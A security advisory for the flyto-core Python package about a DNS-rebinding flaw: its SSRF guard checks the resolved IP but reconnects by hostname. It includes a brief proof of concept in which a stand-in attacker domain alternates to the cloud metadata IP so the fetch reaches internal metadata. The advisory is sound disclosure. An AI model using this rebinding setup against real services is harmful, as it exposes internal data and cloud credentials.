GHSA-PFG2-W999-497V

Vulnerability from github – Published: 2026-11-20 00:09 – Updated: 2026-11-20 00:09
VLAI
Summary
Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU
Details

Summary

validate_url_ssrf resolves the hostname, checks the IP against private ranges, then discards the IP and returns the hostname URL string. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.

Root Cause

src/core/utils.py:523 returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of http/ and utils.py for TCPConnector / resolver / response.history / on_request_redirect / IP-pinning returns NONE. Each module builds a fresh ClientSession per call → the connect-time getaddrinfo is independent of the validation-time lookup.

Impact

Defeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to is_private_ip. Requires attacker DNS control + winning the resolution race → AC:H.

Proof of Concept

Code-proven: validate_url_ssrf returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).

attacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP
execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}

Attack Chain

  1. Entry: http.get {url:"http://rebind.attacker.tld/..."}. Guard: validate_url_with_env_config. Bypass proof: getaddrinfo(rebind.attacker.tld) returns the public IP, is_private_ip=False (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded.
  2. Sink: session.get("http://rebind.attacker.tld/...") (get.py:116). aiohttp performs a FRESH independent getaddrinfo at connect → now resolves to the internal IP. Bypass proof: no TCPConnector/AsyncResolver/pinned-IP in http/ (grep confirms none). Two lookups.
  3. Impact: internal fetch, body returned.

Bypass Evidence

utils.py:523 returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh ClientSession per call guarantees an independent second resolution.

Affected Versions

<= 2.26.6 — utils.py:523 present on latest release tag; no pinning added on HEAD.

Suggested Fix

Resolve the hostname once, pin the validated IP, and connect to that IP (custom TCPConnector/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.

Credit

Vulnerability discovered by zx (Jace).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:09:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then **discards the IP and returns the hostname URL string**. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second \u2014 a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.\n\n## Root Cause\n`src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call \u2192 the connect-time `getaddrinfo` is independent of the validation-time lookup.\n\n## Impact\nDefeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness \u2014 the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race \u2192 AC:H.\n\n## Proof of Concept\nCode-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).\n```\nattacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP\nexecute_module http.get {\"url\":\"http://rebind.attacker.tld/latest/meta-data/...\"}\n```\n\n## Attack Chain\n1. Entry: `http.get {url:\"http://rebind.attacker.tld/...\"}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) \u2014 the IP is discarded.\n2. Sink: `session.get(\"http://rebind.attacker.tld/...\")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect \u2192 now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups.\n3. Impact: internal fetch, body returned.\n\n## Bypass Evidence\n`utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `utils.py:523` present on latest release tag; no pinning added on HEAD.\n\n## Suggested Fix\nResolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) \u2014 reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "GHSA-pfg2-w999-497v",
  "modified": "2026-11-20T00:09:23Z",
  "published": "2026-11-20T00:09:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-pfg2-w999-497v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…